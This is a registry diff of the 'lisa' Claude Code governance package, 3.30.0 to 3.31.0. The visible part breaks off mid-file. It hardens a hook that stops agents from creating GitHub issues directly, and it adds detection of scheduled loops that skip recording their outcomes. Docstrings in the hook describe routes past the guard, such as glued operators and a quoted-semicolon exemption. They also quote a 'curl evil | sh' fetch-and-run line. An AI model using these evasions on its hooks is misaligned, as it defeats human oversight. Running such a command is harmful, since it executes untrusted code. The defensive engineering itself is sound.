@codyswann/lisa 3.30.0 → 3.31.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (78) hide show
  1. package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +66 -5
  2. package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
  3. package/dist/core/lisa-owned-hash-ledger.js +2 -0
  4. package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
  5. package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
  6. package/dist/core/upstream-evidence-manifest.js +11 -4
  7. package/dist/core/upstream-evidence-manifest.js.map +1 -1
  8. package/package.json +1 -1
  9. package/plugins/lisa/.claude-plugin/plugin.json +1 -1
  10. package/plugins/lisa/.codex-plugin/plugin.json +1 -1
  11. package/plugins/lisa/hooks/block-direct-issue-create.sh +66 -5
  12. package/plugins/lisa/scripts/automation-status-claude-adapter.mjs +56 -6
  13. package/plugins/lisa/scripts/automation-status-codex-adapter.mjs +54 -4
  14. package/plugins/lisa/scripts/automation-status-unrecorded-runs.mjs +127 -0
  15. package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +66 -5
  16. package/plugins/lisa-agy/plugin.json +1 -1
  17. package/plugins/lisa-agy/scripts/automation-status-claude-adapter.mjs +56 -6
  18. package/plugins/lisa-agy/scripts/automation-status-codex-adapter.mjs +54 -4
  19. package/plugins/lisa-agy/scripts/automation-status-unrecorded-runs.mjs +127 -0
  20. package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
  21. package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
  22. package/plugins/lisa-cdk-agy/plugin.json +1 -1
  23. package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
  24. package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
  25. package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
  26. package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +66 -5
  27. package/plugins/lisa-copilot/scripts/automation-status-claude-adapter.mjs +56 -6
  28. package/plugins/lisa-copilot/scripts/automation-status-codex-adapter.mjs +54 -4
  29. package/plugins/lisa-copilot/scripts/automation-status-unrecorded-runs.mjs +127 -0
  30. package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
  31. package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +66 -5
  32. package/plugins/lisa-cursor/scripts/automation-status-claude-adapter.mjs +56 -6
  33. package/plugins/lisa-cursor/scripts/automation-status-codex-adapter.mjs +54 -4
  34. package/plugins/lisa-cursor/scripts/automation-status-unrecorded-runs.mjs +127 -0
  35. package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
  36. package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
  37. package/plugins/lisa-expo-agy/plugin.json +1 -1
  38. package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
  39. package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
  40. package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
  41. package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
  42. package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
  43. package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
  44. package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
  45. package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
  46. package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
  47. package/plugins/lisa-nestjs-agy/plugin.json +1 -1
  48. package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
  49. package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
  50. package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
  51. package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
  52. package/plugins/lisa-openclaw-agy/plugin.json +1 -1
  53. package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
  54. package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
  55. package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
  56. package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
  57. package/plugins/lisa-phaser-agy/plugin.json +1 -1
  58. package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
  59. package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
  60. package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
  61. package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
  62. package/plugins/lisa-rails-agy/plugin.json +1 -1
  63. package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
  64. package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
  65. package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
  66. package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
  67. package/plugins/lisa-typescript-agy/plugin.json +1 -1
  68. package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
  69. package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
  70. package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
  71. package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
  72. package/plugins/lisa-wiki-agy/plugin.json +1 -1
  73. package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
  74. package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
  75. package/plugins/src/base/hooks/block-direct-issue-create.sh +66 -5
  76. package/plugins/src/base/scripts/automation-status-claude-adapter.mjs +56 -6
  77. package/plugins/src/base/scripts/automation-status-codex-adapter.mjs +54 -4
  78. package/plugins/src/base/scripts/automation-status-unrecorded-runs.mjs +127 -0
package/package.json CHANGED
@@ -131,7 +131,7 @@
131
131
  "ws": ">=8.21.0"
132
132
  },
133
133
  "name": "@codyswann/lisa",
134
- "version": "3.30.0",
134
+ "version": "3.31.0",
135
135
  "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
136
136
  "main": "dist/index.js",
137
137
  "exports": {
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.31.0",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.31.0",
4
4
  "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
@@ -16,9 +16,11 @@ import {
16
16
  renderAutomationGroups,
17
17
  } from "./automation-status-expected-fleet.mjs";
18
18
  import {
19
+ RUNBOOK_NOT_SCAFFOLDED_LINE,
19
20
  resolveAutomationRunDisplay,
20
21
  resolveRecoveryEscalation,
21
22
  } from "./automation-status-run-history.mjs";
23
+ import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
22
24
 
23
25
  const CLAUDE_RUNTIME_LABEL = "Claude /schedule";
24
26
  const CLAUDE_ACTIVE_STATUSES = new Set([
@@ -241,7 +243,7 @@ function createObservedStatusItem(input) {
241
243
  const comparison = input.comparison;
242
244
  const observed = comparison.observedAutomation;
243
245
  const runDisplay = input.runDisplay;
244
- const runSignal = classifyAutomationRunSignal({
246
+ const primaryRunSignal = classifyAutomationRunSignal({
245
247
  expected,
246
248
  observedAutomation: observed,
247
249
  now: input.now,
@@ -251,6 +253,27 @@ function createObservedStatusItem(input) {
251
253
  // the scheduler surface cannot see. It wins over the scheduler run-signal.
252
254
  const escalation = resolveRecoveryEscalation(runDisplay);
253
255
 
256
+ // A run the scheduler saw but the ledger did not. Ranked below `runSignal`
257
+ // on purpose: a disabled or failing scheduler entry EXPLAINS the missing
258
+ // rows, so reporting the silence over the cause would bury the cause.
259
+ const unrecorded = resolveUnrecordedRunFinding({
260
+ schedulerLastRunAt: observed?.lastRunAt,
261
+ ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
262
+ hasRunbook: runDisplay
263
+ ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
264
+ : undefined,
265
+ cadenceMs: observed
266
+ ? resolveObservedCadenceMs({ observed, expected })
267
+ : null,
268
+ });
269
+ const runSignal =
270
+ primaryRunSignal ??
271
+ (unrecorded && {
272
+ status: /** @type {const} */ ("DRIFTED"),
273
+ summary: unrecorded.summary,
274
+ remediation: unrecorded.remediation,
275
+ });
276
+
254
277
  const observedDetails = [comparison.observed];
255
278
  if (observed?.status) {
256
279
  observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -262,6 +285,9 @@ function createObservedStatusItem(input) {
262
285
  "Last-run metadata unavailable from Claude /schedule."
263
286
  );
264
287
  }
288
+ if (runDisplay?.lastOutcome?.ts) {
289
+ observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
290
+ }
265
291
  if (observed?.lastRunSummary) {
266
292
  observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
267
293
  } else if (observed?.lastRunFailed == null) {
@@ -337,11 +363,10 @@ function classifyAutomationRunSignal(input) {
337
363
  return null;
338
364
  }
339
365
 
340
- const cadenceMs =
341
- rruleToIntervalMs(observed.observedRRule) ??
342
- cadenceLabelToIntervalMs(
343
- observed.observedCadence ?? input.expected.expectedCadence
344
- );
366
+ const cadenceMs = resolveObservedCadenceMs({
367
+ observed,
368
+ expected: input.expected,
369
+ });
345
370
  if (!cadenceMs) {
346
371
  return null;
347
372
  }
@@ -364,6 +389,31 @@ function classifyAutomationRunSignal(input) {
364
389
  return null;
365
390
  }
366
391
 
392
+ /**
393
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
394
+ * reports over what the fleet expects.
395
+ *
396
+ * The observed RRULE wins because a loop re-cadenced on the scheduler is still
397
+ * a correctly running loop; measuring it against the expected cadence would
398
+ * manufacture findings out of an intentional change.
399
+ *
400
+ * @param {{
401
+ * readonly observed: ObservedClaudeAutomation
402
+ * readonly expected: { readonly expectedCadence?: string }
403
+ * }} input - Observed scheduler entry and its expected-fleet counterpart.
404
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
405
+ * side expresses a parseable cadence.
406
+ */
407
+ function resolveObservedCadenceMs(input) {
408
+ return (
409
+ rruleToIntervalMs(input.observed.observedRRule) ??
410
+ cadenceLabelToIntervalMs(
411
+ input.observed.observedCadence ?? input.expected.expectedCadence
412
+ ) ??
413
+ null
414
+ );
415
+ }
416
+
367
417
  function coerceClaudeScheduleEntries(scheduleListing) {
368
418
  if (!scheduleListing) {
369
419
  return [];
@@ -25,9 +25,11 @@ import {
25
25
  renderAutomationGroups,
26
26
  } from "./automation-status-expected-fleet.mjs";
27
27
  import {
28
+ RUNBOOK_NOT_SCAFFOLDED_LINE,
28
29
  resolveAutomationRunDisplay,
29
30
  resolveRecoveryEscalation,
30
31
  } from "./automation-status-run-history.mjs";
32
+ import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
31
33
 
32
34
  const CODEx_RUNTIME_LABEL = "Codex automations";
33
35
  const RUN_TIMESTAMP_PATTERN = /20\d{2}-\d\d-\d\dT\d\d:\d\d:\d\d(?:\.\d+)?Z/;
@@ -664,7 +666,7 @@ function createObservedStatusItem(input) {
664
666
  const comparison = input.comparison;
665
667
  const observed = comparison.observedAutomation;
666
668
  const runDisplay = input.runDisplay;
667
- const runSignal = classifyAutomationRunSignal({
669
+ const primaryRunSignal = classifyAutomationRunSignal({
668
670
  expected,
669
671
  observedAutomation: observed,
670
672
  now: input.now,
@@ -674,6 +676,27 @@ function createObservedStatusItem(input) {
674
676
  // the raw backing store cannot see. It wins over the scheduler run-signal.
675
677
  const escalation = resolveRecoveryEscalation(runDisplay);
676
678
 
679
+ // A run the scheduler saw but the ledger did not. Ranked below
680
+ // `primaryRunSignal` on purpose: a suspended entry or a broken cwd EXPLAINS
681
+ // the missing rows, so reporting the silence over the cause would bury it.
682
+ const unrecorded = resolveUnrecordedRunFinding({
683
+ schedulerLastRunAt: observed?.lastRunAt,
684
+ ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
685
+ hasRunbook: runDisplay
686
+ ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
687
+ : undefined,
688
+ cadenceMs: observed
689
+ ? resolveObservedCadenceMs({ observed, expected })
690
+ : null,
691
+ });
692
+ const runSignal =
693
+ primaryRunSignal ??
694
+ (unrecorded && {
695
+ status: /** @type {const} */ ("DRIFTED"),
696
+ summary: unrecorded.summary,
697
+ remediation: unrecorded.remediation,
698
+ });
699
+
677
700
  const observedDetails = [comparison.observed];
678
701
  if (observed?.status) {
679
702
  observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -686,6 +709,9 @@ function createObservedStatusItem(input) {
686
709
  } else if (observed) {
687
710
  observedDetails.push("Last run metadata unavailable.");
688
711
  }
712
+ if (runDisplay?.lastOutcome?.ts) {
713
+ observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
714
+ }
689
715
  if (observed?.lastRunSummary) {
690
716
  observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
691
717
  }
@@ -729,6 +755,29 @@ function composeAutomationSummary(input) {
729
755
  return `${input.runSignal.summary}; ${comparisonSummary}`;
730
756
  }
731
757
 
758
+ /**
759
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
760
+ * reports over what the fleet expects.
761
+ *
762
+ * The observed RRULE wins because an automation re-cadenced in Codex is still
763
+ * a correctly running automation; measuring it against the expected cadence
764
+ * would manufacture findings out of an intentional change.
765
+ *
766
+ * @param {{
767
+ * readonly observed: { readonly observedRRule?: string | null }
768
+ * readonly expected: { readonly expectedCadence?: string }
769
+ * }} input - Observed automation entry and its expected-fleet counterpart.
770
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
771
+ * side expresses a parseable cadence.
772
+ */
773
+ function resolveObservedCadenceMs(input) {
774
+ return (
775
+ rruleToIntervalMs(input.observed.observedRRule) ??
776
+ cadenceLabelToIntervalMs(input.expected.expectedCadence) ??
777
+ null
778
+ );
779
+ }
780
+
732
781
  function classifyAutomationRunSignal(input) {
733
782
  const observed = input.observedAutomation;
734
783
  if (!observed) {
@@ -765,9 +814,10 @@ function classifyAutomationRunSignal(input) {
765
814
  return null;
766
815
  }
767
816
 
768
- const cadenceMs =
769
- rruleToIntervalMs(observed.observedRRule) ??
770
- cadenceLabelToIntervalMs(input.expected.expectedCadence);
817
+ const cadenceMs = resolveObservedCadenceMs({
818
+ observed,
819
+ expected: input.expected,
820
+ });
771
821
  if (!cadenceMs) {
772
822
  return null;
773
823
  }
@@ -0,0 +1,127 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Detect registered-loop cycles that ran and recorded nothing.
4
+ *
5
+ * The Automation Runbook Contract requires every run of a registered loop to
6
+ * end in exactly one of six recorded outcomes, but the recorder is invoked only
7
+ * by prose instruction inside each loop's `SKILL.md`. A cycle that finishes
8
+ * without running it appends no row, and an absent row is ambiguous in the one
9
+ * way that matters: it looks identical to a cycle that never ran.
10
+ *
11
+ * That ambiguity is not merely an audit gap. Cycles read the ledger tail to
12
+ * decide whether the lane was already worked, so a missing row feeds back into
13
+ * selection — the next cycle sees stale activity, concludes the lane is
14
+ * unworked, and re-picks the rung a peer is already holding.
15
+ *
16
+ * This module resolves the ambiguity with a signal the loop does not control:
17
+ * the scheduler's own last-run time. A row written by a cycle necessarily
18
+ * postdates that cycle's start, so a newest row older than the last scheduler
19
+ * run means the run in between recorded nothing. Neither side can fake it —
20
+ * the scheduler timestamp is written by the runtime, and the ledger timestamp
21
+ * by the recorder.
22
+ *
23
+ * Reporting only, never blocking, per the contract's own escape: "If recording
24
+ * still fails, degrade, never abort." Every unreadable input degrades to `null`
25
+ * rather than to a finding, because a detector that guesses would poison the
26
+ * same selection loop it exists to protect.
27
+ */
28
+
29
+ /**
30
+ * @typedef {{
31
+ * readonly missedCycles: number
32
+ * readonly schedulerLastRunAt: string
33
+ * readonly ledgerLastRecordAt: string | null
34
+ * readonly summary: string
35
+ * readonly remediation: string
36
+ * }} UnrecordedRunFinding
37
+ */
38
+
39
+ /**
40
+ * Remediation text shared by both finding shapes.
41
+ *
42
+ * It names the contract rather than the script because the omission is a
43
+ * skipped step in the loop, not a broken recorder — a broken recorder reports
44
+ * itself through the degradation path this module deliberately leaves alone.
45
+ */
46
+ const UNRECORDED_RUN_REMEDIATION =
47
+ "The loop ran without recording an outcome. Confirm the loop's SKILL.md " +
48
+ "still ends every path by invoking `automation-run-record.mjs`, including " +
49
+ "the paths that find no work, per the automation-runbook-contract rule.";
50
+
51
+ /**
52
+ * Whether a scheduled run finished without appending a run record.
53
+ *
54
+ * Tolerance is one full cadence, not a fixed grace period. The scheduler's
55
+ * `lastRunAt` may be stamped at either end of a cycle depending on runtime, and
56
+ * a cycle can legitimately run for many minutes, so anything tighter would
57
+ * report a slow-but-honest loop as a silent one. A full cadence cannot be
58
+ * crossed by a single well-behaved run: it means an entire scheduled cycle came
59
+ * and went between the newest row and the newest run.
60
+ *
61
+ * @param {{
62
+ * readonly schedulerLastRunAt?: string | null
63
+ * readonly ledgerLastRecordAt?: string | null
64
+ * readonly hasRunbook?: boolean
65
+ * readonly cadenceMs?: number | null
66
+ * }} input - Scheduler-side run time, ledger-side newest record, and cadence.
67
+ * @returns {UnrecordedRunFinding | null} The finding, or `null` when the
68
+ * comparison cannot be made from trustworthy inputs.
69
+ */
70
+ export function resolveUnrecordedRunFinding(input) {
71
+ const cadenceMs = input.cadenceMs;
72
+ if (!cadenceMs || !Number.isFinite(cadenceMs) || cadenceMs <= 0) {
73
+ return null;
74
+ }
75
+
76
+ // No scheduler timestamp means the runtime never reported a run, which is
77
+ // indistinguishable from a loop registered moments ago. Silence here is the
78
+ // honest answer, and `classifyAutomationRunSignal` already reports the
79
+ // missing metadata separately.
80
+ if (!input.schedulerLastRunAt) {
81
+ return null;
82
+ }
83
+ const schedulerLastRun = Date.parse(input.schedulerLastRunAt);
84
+ if (Number.isNaN(schedulerLastRun)) {
85
+ return null;
86
+ }
87
+
88
+ // A loop with no runbook is not yet under the contract; `automation-status`
89
+ // reports the un-scaffolded runbook itself, and stacking a second finding on
90
+ // it would blame the loop for a setup step it never took.
91
+ if (input.hasRunbook === false) {
92
+ return null;
93
+ }
94
+
95
+ if (!input.ledgerLastRecordAt) {
96
+ return {
97
+ missedCycles: 1,
98
+ schedulerLastRunAt: input.schedulerLastRunAt,
99
+ ledgerLastRecordAt: null,
100
+ summary: `scheduler reports a run at ${input.schedulerLastRunAt} but the ledger holds no record at all`,
101
+ remediation: UNRECORDED_RUN_REMEDIATION,
102
+ };
103
+ }
104
+
105
+ const ledgerLastRecord = Date.parse(input.ledgerLastRecordAt);
106
+ if (Number.isNaN(ledgerLastRecord)) {
107
+ return null;
108
+ }
109
+
110
+ const gapMs = schedulerLastRun - ledgerLastRecord;
111
+ if (gapMs <= cadenceMs) {
112
+ return null;
113
+ }
114
+
115
+ const missedCycles = Math.floor(gapMs / cadenceMs);
116
+ return {
117
+ missedCycles,
118
+ schedulerLastRunAt: input.schedulerLastRunAt,
119
+ ledgerLastRecordAt: input.ledgerLastRecordAt,
120
+ summary: `${missedCycles} scheduled ${
121
+ missedCycles === 1 ? "run" : "runs"
122
+ } recorded no outcome (newest record ${input.ledgerLastRecordAt}, last run ${input.schedulerLastRunAt})`,
123
+ remediation: UNRECORDED_RUN_REMEDIATION,
124
+ };
125
+ }
126
+
127
+ export { UNRECORDED_RUN_REMEDIATION };
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.31.0",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -16,9 +16,11 @@ import {
16
16
  renderAutomationGroups,
17
17
  } from "./automation-status-expected-fleet.mjs";
18
18
  import {
19
+ RUNBOOK_NOT_SCAFFOLDED_LINE,
19
20
  resolveAutomationRunDisplay,
20
21
  resolveRecoveryEscalation,
21
22
  } from "./automation-status-run-history.mjs";
23
+ import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
22
24
 
23
25
  const CLAUDE_RUNTIME_LABEL = "Claude /schedule";
24
26
  const CLAUDE_ACTIVE_STATUSES = new Set([
@@ -241,7 +243,7 @@ function createObservedStatusItem(input) {
241
243
  const comparison = input.comparison;
242
244
  const observed = comparison.observedAutomation;
243
245
  const runDisplay = input.runDisplay;
244
- const runSignal = classifyAutomationRunSignal({
246
+ const primaryRunSignal = classifyAutomationRunSignal({
245
247
  expected,
246
248
  observedAutomation: observed,
247
249
  now: input.now,
@@ -251,6 +253,27 @@ function createObservedStatusItem(input) {
251
253
  // the scheduler surface cannot see. It wins over the scheduler run-signal.
252
254
  const escalation = resolveRecoveryEscalation(runDisplay);
253
255
 
256
+ // A run the scheduler saw but the ledger did not. Ranked below `runSignal`
257
+ // on purpose: a disabled or failing scheduler entry EXPLAINS the missing
258
+ // rows, so reporting the silence over the cause would bury the cause.
259
+ const unrecorded = resolveUnrecordedRunFinding({
260
+ schedulerLastRunAt: observed?.lastRunAt,
261
+ ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
262
+ hasRunbook: runDisplay
263
+ ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
264
+ : undefined,
265
+ cadenceMs: observed
266
+ ? resolveObservedCadenceMs({ observed, expected })
267
+ : null,
268
+ });
269
+ const runSignal =
270
+ primaryRunSignal ??
271
+ (unrecorded && {
272
+ status: /** @type {const} */ ("DRIFTED"),
273
+ summary: unrecorded.summary,
274
+ remediation: unrecorded.remediation,
275
+ });
276
+
254
277
  const observedDetails = [comparison.observed];
255
278
  if (observed?.status) {
256
279
  observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -262,6 +285,9 @@ function createObservedStatusItem(input) {
262
285
  "Last-run metadata unavailable from Claude /schedule."
263
